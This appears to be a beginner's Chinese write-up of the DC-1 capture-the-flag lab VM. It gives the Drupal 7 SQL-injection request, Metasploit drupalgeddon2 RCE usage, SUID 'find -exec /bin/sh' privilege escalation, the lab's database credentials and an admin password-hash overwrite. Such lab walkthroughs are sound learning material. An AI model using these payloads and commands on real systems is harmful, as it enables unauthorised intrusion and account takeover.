news 2026/10/15 14:19:58

DC-1 靶场

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DC-1 靶场

DC-1 靶机WP,新手看新手的WP,更易于构建自己的思路,发现当前阶段可能遇到的问题

环境配置

将kali和DC靶场同一设为NAT模式,让他俩处在同一网段下

通过arp命令扫描c段,获取DC靶机ip地址

arp-scan 192.168.153.0/24


使用netdiscover扫描也可得到

通过nmap扫描端口,得知80端口开放

nmap -p- -T4 192.168.153.141

尝试访问,可以看到该靶机开了个网站

然后继续信息搜集,使用dirsearch扫描目录

dirsearch -u http://192.168.153.141

时间有点长,先做其他测试,使用雪瞳得到一个类似admin的接口

拼接访问,显示无权限,做了鉴权,看来不是什么垃圾网页

dirsearch 扫出来这么多

/COPYRIGHT.txt /INSTALL /INSTALL.mysql.txt /INSTALL.pgsql.txt /install.php /INSTALL.txt /install.php?profile=default /LICENSE /LICENSE.txt /MAINTAINERS.txt /node/1?_format=hal_json /README /README.txt /robots.txt /sites/all/modules/README.txt /sites/all/themes/README.txt /sites/example.sites.php sites/README.txt /UPGRADE /UPGRADE.txt /user /user.asp /user.txt /user/ /views/ajax/autocomplete/user/a /web.config /xmlrpc.phpv

访问了几个目录,得到以下

好像是一篇文章,没啥用

通过该插件,获得一些其他信息

可以自己创建账号登录?尝试创建后登录。

好吧,不行,需要管理员审核(后面成功提权的时候发现数据库其实有这个数据了,但是我没设过密码啊,它让给个用户名和邮箱就行。而且密码还是哈希后的)

根据上面得到的dural cms版本是7,所以尝试搜索有无漏洞

搜索到一个适配版本,且无需什么条件的CVE漏洞,根据文章内容复现

构造请求

POST /?q=node&destination=node HTTP/1.1 Host: 192.168.153.141 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

成功通过报错注入获取数据库用户名

同时可能不止一个数据库

但是,爆表名时,直接拼接到登陆页面了,不知道是我payload构造问题,还是被修复了

继续搜索漏洞,发现还有一个远程代码执行(RCE)CVE-2018-7600

首先启动Metaspolit

msfconsole

选择漏洞利用的模块

use exploit/unix/webapp/drupal_drupalgeddon2

配置IP地址和端口,运行

成功获取权限

切换shell,提升交互,顺便查看有哪些文件

本来看到root和flag4用户,按照上一次的ACID靶机,应该是先切flag4,再提权到root。但是突然想到上次是特殊情况,常规先用

find / -perm -4000 -type f 2>/dev/null

有/usr/bin/find 有SUID 权限,成功提权

find / -name passwd -exec /bin/sh \; -quit

本来以为到这就结束了,开始享用root权限了,结果只是ls看了以下,发现有个flag1.txt,意识到不对,可能还要找flag

flag1

Every good CMS needs a config file - and so do you.

根据提示,下一步应该是看配置文件

flag2

flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials?

过程

同时还发现了MySQL数据库的账号密码

提示暴力破解不是获取权限的好方法,我直接登录数据库,查看

根据之前得到的数据库,先看drupaldb

mysql -u dbuser -pR0ck3t -e "USE drupaldb; SHOW TABLES;" mysql -u dbuser -pR0ck3t -e "SHOW TABLES FROM drupaldb;"

获取user表的字段名

mysql -u dbuser -pR0ck3t -e "DESCRIBE drupaldb.users;"

在这里插入图片描述

开始查询

mysql -u dbuser -pR0ck3t -e "SELECT uid, name, pass, mail FROM drupaldb.users;"

在shell中重新哈希一个我们已知的密码

php /var/www/scripts/password-hash.sh 'newpass123' $S$DYOMXbdM9P3oPvRdM4lfP5GFSZLhzmxDVgbIpmXzbYcHKRvlhLTa

更新admin密码

mysql -u dbuser -pR0ck3t -e "UPDATE drupaldb.users SET pass='\$S\$DYOMXbdM9P3oPvRdM4lfP5GFSZLhzmxDVgbIpmXzbYcHKRvlhLTa' WHERE uid=1;"

验证

mysql -u dbuser -pR0ck3t -e "SELECT uid, name, pass FROM drupaldb.users WHERE uid=1;"

通过语法找flag

find / -name "flag*.txt" 2>/dev/null

flag4

Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?

登录管理员后发现版本是7.24<7.32,所以sql注入没被修复

/admin/reports/status

后面看网站功能时,找到flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

后面没有线索了,但是以防万一,问AI要了一个更全的搜索文件名包含flag的命令,找到了最后一个,the final

find / -name "*flag*" -type f 2>/dev/null

flag5

Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

其实还没结束,前面的sql没被修复,应该还要尝试以下怎么爆破出具体的用户,密码(虽然是hash过的用不了)。其次,网站本身的渗透测试也没怎么做,这次重点主要放在提权和找flag文件。网站内部也有很多功能点没有测试,像搜索框的sql和xss,文件上传等等。最后,搜集drupal cms漏洞时,还有其他高版本漏洞,需要一些条件(CVE-2019-6339 RCE 需要管理员账号登陆后台 ;CVE-2018-7602 RCE 需要账号密码),我想有的应该还是适用低版本的。但是既然已经漏成筛子了,一切就后面再说。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 14:19:52

Riemann Dynamics:基于几何补丁的世界模型实时记忆架构

1. 项目概述&#xff1a;当世界模型开始“记住形状”最近在几个前沿AI实验室的内部分享里&#xff0c;反复听到一个词&#xff1a;Riemann Dynamics。不是数学课上的黎曼流形&#xff0c;也不是物理课里的动力学方程——它是一套全新的世界建模范式&#xff0c;核心目标很实在&…

作者头像 李华
网站建设 2026/10/15 14:19:45

Android点击水波纹详解:RippleDrawable原理与自定义控件实战

1. 从一次按钮反馈的细节说起做Android开发的朋友大概都遇到过这样的场景&#xff1a;产品经理拿着手机&#xff0c;指着某个按钮说“点下去怎么一点反应都没有&#xff0c;感觉像卡住了”。其实代码逻辑早就跑通了&#xff0c;接口也调了&#xff0c;页面也跳了&#xff0c;但…

作者头像 李华
网站建设 2026/10/15 14:18:28

FDTD仿真优化宽角度可见光吸收器设计实战

1. 项目背景与核心价值去年实验室采购新型光谱仪时&#xff0c;我注意到一个有趣现象&#xff1a;传统吸波材料在斜入射条件下性能急剧下降。这促使我开始研究宽角度吸收器这个细分领域&#xff0c;而FDTD&#xff08;时域有限差分&#xff09;仿真正是攻克该难题的利器。本文记…

作者头像 李华
网站建设 2026/10/15 14:18:08

LPC4370双核调试链路深度解析:从LPCLINK2配套程序到SWO协同追踪

简介&#xff1a;本资源是面向嵌入式开发工程师与高校电子类专业学生的LPC4370微控制器配套开发程序包&#xff0c;聚焦于其核心优势——80MHz采样率的12位6路独立ADC功能&#xff0c;显著突破传统IC或通用ADC&#xff08;约400kHz&#xff09;的速度瓶颈&#xff0c;适用于高速…

作者头像 李华
网站建设 2026/10/15 14:17:40

Python爬虫实战:从requests解析到并发、反爬与断点续爬的完整指南

简介&#xff1a;这份Python爬虫技术学习文档&#xff0c;面向具备一定编程经验、希望利用Python高效采集网络公开数据的学习者与开发者。文档从爬虫作为自动化抓取工具的基本概念、核心优势与工作原理切入&#xff0c;逐步拆解发送请求、解析网页、数据存储三大技术环节&#…

作者头像 李华
网站建设 2026/10/15 14:17:20

2026年C盘清理工具评测与优化指南

1. 项目概述&#xff1a;为什么2026年我们仍需关注C盘清理&#xff1f;最近帮同事处理一台2026款某品牌旗舰笔记本&#xff0c;128GB的C盘居然只剩下3.2GB可用空间。系统频繁弹出存储警告&#xff0c;Photoshop等大型软件直接拒绝启动。这个场景在2026年依然常见——尽管NVMe固…

作者头像 李华